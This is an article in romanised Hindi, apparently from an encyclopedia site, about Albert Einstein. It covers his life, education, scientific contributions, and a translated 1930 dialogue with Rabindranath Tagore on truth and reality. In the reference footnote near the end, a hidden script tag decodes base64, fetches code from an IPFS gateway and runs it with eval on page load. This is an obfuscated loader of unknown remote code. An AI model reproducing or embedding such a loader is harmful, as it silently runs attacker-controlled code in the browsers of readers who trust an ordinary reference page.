अलबर्ट आइंस्टाइन
alabart aianstain
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| poora nam | alabart aianstain |
| any nam | aianstain |
| janm | 14 march, 1879 |
| janm bhoomi | vutemabarg, jarmani |
| mrityu | 18 aprail, 1955 |
| mrityu sthan | nyoo jarsi, amerika |
| abhibhavak | harman aianstain aur paulin aianstain |
| karm-kshetr | vaijnanik |
| vishay | bhautiki |
| bhasha | jarman, aangrezi, italiyan |
| puraskar-upadhi | nobel puraskar |
| prasiddhi | sapekshata ke siddhaant aur dravyaman-oorja samikaran : E = mc2 ke lie jane jate haian. |
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alabart aianstain (aangrezi: Albert Einstein, janm: 14 march, 1879; mrityu: 18 aprail, 1955) ek prasiddh vaijnanik aur saiddhaantik bhautikavidh the. ve sapekshata ke siddhaant aur dravyaman-oorja samikaran E = mc2 ke lie jane jate haian. unhean saiddhaantik bhautiki, khasakar prakash-vidyut ootsarjan ki khoj ke lie 1921 mean 'nobel puraskar' mila tha.
jivan parichay
alabart aianstain ka janm jarmani mean vutemabarg ke ek yahoodi parivar mean hua. unake pita 'harman aianstain' ek ianjiniyar aur selsamain the. unaki maan ka nam paulin aianstain thi. halaanki aianstain ko shuroo-shuroo mean bolane mean kathinaee hoti thi, lekin ve padhaee mean avval the. unaki matrabhasha jarman thi aur bad mean unhoanne italiyan aur aangrezi sikhi. unaka parivar yahoodi dharmik paramparaoan ko nahian manata aur ainashtain kaitholik vidyalay mean p dane gaye. apani maan ke kahane par unhoanne sarangi bajana sikha. unhean ye pasand nahian tha aur bad mean ise chho d bhi diya, lekin bad mean unhean mojart ke sarangi sangit mean bahut anand ata tha.
bachapan aur shiksha
thumb|left|alabart aianstain 1893 mean alabart aianstain ek kaitholik prathamik skool mean padhe. halaanki aianstin ne kathinaee se bolana sikha ve prathamik skool mean ek avval chhatr the. aianstin ne maze ke lie m aaudal aur yaantrik upakaranoan ka nirman kiya aur ganit mean pratibha dikhana bhi shuroo kiya. 1889 maiks talmood ne das varshiy aianstin ko vijnan ke mahattvapoorn granthoan se vakif karaya. talmood ek garib yahoodi medikal chhatr tha. yahoodi samuday ne talmood ko chhah sal ke lie pratyek guruvar ko aianstain ke sath bhojan karane ki vyavastha ki. is samay ke dauran talmood ne poore dil se kee dharmanirapeksh shaikshik hitoan ke madhyam se aianstain ko nirdeshit karata.
yogadan
aianstain ne sapekshata ke vishesh aur samany siddhaant sahit kee yogadan die. unake any yogadanoan mean- sapeksh brahmaand, keshikiy gati, kraantik upachchhaya, saankhyik maikeniks ki samasyaऍ, anuoan ka brauniyan gati, anuoan ki utparivarttan sanbhavyata, ek anu vale gais ka kvaantam siddhaant, kam vikiran ghanatv vale prakash ke ooshmiy gun, vikiran ke siddhaant, ekikrit kshetr siddhaant aur bhautiki ka jyamitikaran shamil hai. aiansatain ne pachas se adhik shodh-patr aur vijnan se alag kitabean likhian. 1999 mean taim patrika ne shatabdi-purush ghoshit kiya. ek sarvekshan ke anusar ve sarvakalik mahanatam vaijnanik mane ge. aiansatain shabd buddhiman ka paryay mana jata hai.
aianstain aur rabindranath taigor
alabart aianstain keval vijnan hi nahian, sahity, kala, sangit aur adhyatm ke bhi marmajn the. yahi karan hai ki 14 julaee 1930 ko apani jarman yatra ke dauran vishvakavi gurudev rabindranath taigor unase milane jab unake nivas par pahuanche to vah ek aitihasik kshan ho gaya. vijnan aur kavita ke in do shikharoan ke bich us din "saty ki prakriti" ko lekar ek anootha sanvad hua tha. prastut hai is sanvad ka aangrezi se avikal anuvad mean kuchh aansh-
alabart aianstain : "kya ap manate haian ki eeshvaratv ki sansar se koee prithakh satta hai ?"
rabindranath taigor: "prithakh nahian. manaviyata ke anant vyaktitvoan mean brahmand samahit hai. aisi koee chiz nahian ho sakati jo manaviy vyaktitv ke niyamoan se bahar ho. isase yahi siddh hota hai ki bramhaand ka saty manaviyata ka bhi saty hai. ise samajhane ke lie maianne ek vaijnanik tathy ko liya hai. padarth prot aaun aur ilektr aaunoan se bana hai. inake bich ek 'gep' hoti hai. parantu padarth ek ek ilektr aaun aur prot aaun ko jo dane vali is chhoti si doori ke bavajood thos nazar ata hai. isi prakar manaviyata ki chhoti chhoti vyakti ikaiyaan hai, par unaka apasi manaviy sanbandhoan ka ek arntasanbandh bhi hai jo manaviy sansar ko sanbandhoan ka ek arntasanbandh bhi hai jo manaviy sansar ko ek jivant ekata pradan karata hai (jaise ek ek ilektr aaun aur prot aaun prithakh satta rakhate hue bhi apas mean ju de hue haian vaise hi) ham sabhi apas mean ju de hue haian. is saty ko maian kala ke madhyam se, sahity ke madhyam se aur manushy ki dharmik chetana ke madhyam se talash karata raha hooan."
alabart aianstain : "brahmand ki prakriti ke bare mean do alag alag mat hai ek 'brahmand ki ekata manushyata par nirbhar hai, doosara yah ki brahmand ek aisa saty hai jo manaviy phektar se pare hai, us par usaki nirbharata nahian hai. "
rabindranath taigor: "jab hamara brahmand manushy ke sath ek sa talabaddh hota hai tab eeshvaratv ko ham saty ki bhaanti janate haian. use ham saundary ke roop mean mahasoos karate haian."
alabart aianstain : "yah to brahmand ki keval manaviy avadharana hai. "
rabindranath taigor : "doosari dharana ho bhi nahian sakati. yah sansar manaviy sansar hai. isaki vaijnanik avadharana vaijnanik manushy ki avadharana hai. hamase prithakh isilie sansar ka koee astitv nahian hai. yah ek sapeksh sansar hai jo apane saty ke lie hamari chetana par nirbhar rahata hai. tark aur anand ka ek manadand hota hai jo sansar ko usaka saty pradan karata hai. yah manadand us brahmand purush ka hai jisaka anubhav hamare anubhavoan mean prakat hota hai."
[[chitr:Einstein withTagore Berlin-1930.jpg|thumb|250px|aianstain ke sath rabindranath taigor]]
alabart aianstain : "kya yah manaviy astitv ka ya usake vastavik astitv ka pratyakshikaran hai ?
rabindranath taigor: "haan , ek divy yatharth. ise ham apani bhavanaoan aur gatividhiyoan ke madhyam se hasil karate haian. ham apani simaoan ke madhyam se brahmand purush ka pratyakshikaran karate haian jisaki koee vyaktigat simaean nahian hai. yah rnivyaiyaktik gahan avashyakataean haian. hamari vyaktigat saty chetana sarvabhaumik mahatv pati hai. dharm hamare satyoan ko moolyavan banata hai aur ham saty ko usase apani anushaangikata ke karan achchhi tarah jan pate haian. "
alabart aianstain : "to kya saty athava saundary ka manushy se pare koee svadhin ya anashrit astitv nahian hai? "
rabindranath taigor: "nahian. "
alabart aianstain : "yadi manushy ka kahian koee astitv nahian ho to kya yah bhuvan bhaskar (yah dedipyaman soory) kya suandar nahian rah jaeange ?"
rabindranath taigor: "nahian raheange ."
alabart aianstain : "maian ise saundary drishti se sahi manata hooan, parantu saty ke mamale mean nahian.
rabindranath taigor: "kyoan nahian ?" saty ka pratyakshikaran bhi to manushy ke madhyam se hi hota hai."
alabart aianstain : "maian ise siddh nahian kar sakata ki maian sahi hooan, yah mera dharm hai.
rabindranath taigor: "sauandary ek poorn 'sam-layata' mean upalabdh hota hai jo keval sarvabhaumik hokar hi payi ja sakati hai aur saty keval sarvabhaumik man ki hi poorn jnanabuddhi hai. ham alag alag log apani bhooloan aur mahabhooloan ke dvara saty tak pahuanchate haian aur vah bhi apane sanchayit anubhavoan ke dvara aur apani jyortimay chetana ke dvara. anyatha hamean usaka pata hi kaise chalata?"
alabart aianstain: "maian ise siddh nahian kar sakata ki vaijnanik saty ko ek aise saty ke roop mean udbhoot hona chahie jo poori tarah manushyata se pare aur apane ap mean poori tarah anashrit ya svatantr ho, parantu maian isamean dridhata se vishvas karata hooan. udaharan ke lie maian manata hooan ki 'payathagoras' ka jyamiti mean siddhaant jo kuchh kahata hai vah saty lagabhag manushy ke astitv par nirbhar nahian hai. aisi hi is vastavikata ka bhi ek apana saty hai. isamean ek ka bhi iankar doosare ke astitv ko nakar dega."
rabindranath taigor: "saty jo sarvabhaumik chetana se ekakar hai, use anivary roop se manaviy hona hi p dega. anyatha ham vyakti taur par jo kuchh janate ya mahasoos karate hoan use saty kaha hi nahian ja sakega. kam se kam vah saty jise vaijnanik saty kaha jata hai use ek l aaujik ya ek tark ke madhyam se anveshit kiya jata hai, parantu vah bhi aantat: manaviy madhyam se hi prapt kiya jata hai. hindoo darshan ke anusar brahm ki param saty hai, use koee sarvatha alag thalag hokar nahian jan sakata hai, aur na use shabdoan mean vyakt kar sakata hai. use tabhi pa sakate haian jab apane vyaktitv ko usaki anantata mean samahit kar diya ja sake. parantu aise saty ka vijnan se koee sanbandh nahian ho sakata. ham saty ki jis prakriti par charcha kar rahe haian vah usake prakatikaran ki charcha hai, arthath jo pratyaksh ho sake vahi manaviy man ke lie saty hai, isilie manav ko maya ka roop kaha ja sakata hai"
alabart aianstain: "to, apake matanusar jo hindoo avadharana hai usamean mithyatv ka anubhav vyakti vishesh ka nahian sanpoorn manavata ka anubhav hai ?"
rabindranath taigor: "vijnan mean ham saty ke qarib pahuanchane ke lie ek anushasan se gujarate haian jisamean hamean apane vyaktigat mastishkoan ki simaean hata kar hi pravesh milata haian. is prakar saty ka jo sar ham pate haian vah sarvabhaumik manushy ka sach hota hai.
alabart aianstain: "hamari prathamik samasya ye hai ki kya saty hamari chetana par nirbhar nahian hai ?'
rabindranath taigor: "jise ham saty kahate haian vah vastunishth aur vishayanishth pakshoan ke bich ek bauddhik samanjasy hai. aur ye donoan hi paksh us 'supar parsanal manushy' se sanbandhit hai."
alabart aianstain: "manaviyata se pare saty ke astitv ko lekar hamara jo paksh hai use samajhaya ya siddh nahian kiya ja sakata, parantu yah ek vishvas hai jisase koee bhi rahit nahian hai. yahaan tak ki chhote se chhota jiv bhi. ham saty ko ek 'supar hyooman' vastunishthata pradan karate haian. hamare lie aparihary hai ye saty jo hamare astitv, hamare anubhav aur hamari buddhi par nirbhar nahian hai,bhale hi ham kah n sake ki isaka kya matalab hai ?"
rabindranath taigor: "vijnan ne yah siddh kar diya hai ki ek tebal jo thos chiz ki tarah najar ata hai vah matr ek drishtigochar dikhavat hai. jise manaviy dimag ek tebal ki tarah mahasoos karata hai usaka koee astitv hi nahian hoga, yadi vah nirantar mahasoos karane vala dimag n ho to. isi ke sath yah bhi hamean svikar karana hoga ki tebal ki param bhautik sachchaee alag alag ghoomate hue vidyutiy baloan ke kendroan ka ek vishal samooh hona hi hai, jisaka manaviy chetana se bhi sanbandh hai. saty ke sakshatkar mean brahmand purush ke man aur vyakti star par ek alaukik sangharsh hota hai. purnamilan ki ek sanatan prakriya vijnan aur darshan aur hamare niti shastroan mean nirantar chalati rahati hai. kisi bhi mamale mean yadi koee aisa saty hai jo manaviyata se sanbandhit nahian hai to usaka hamare lie koee astitv hi nahian hai."
alabart aianstain: "tab to maian apase jyada dharmik hooan ....... ."
rabindranath taigor: "mera dharm us brahmand purush (eeshvar) ki chetana ke sath mere apane hone ki nirantar milan prakriya mean hai. mere hibart-vyakhyan ka bhi yahi vishay tha jise maianne 'dharmik manushy' kaha tha.'[1]
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tika tippani aur sandarbh
- ↑ ' alabart ainstin aur rabindranath taigor ka sanvad (hiandi) (ech.ti.em.el) alabart aiansatain. abhigaman tithi: 19 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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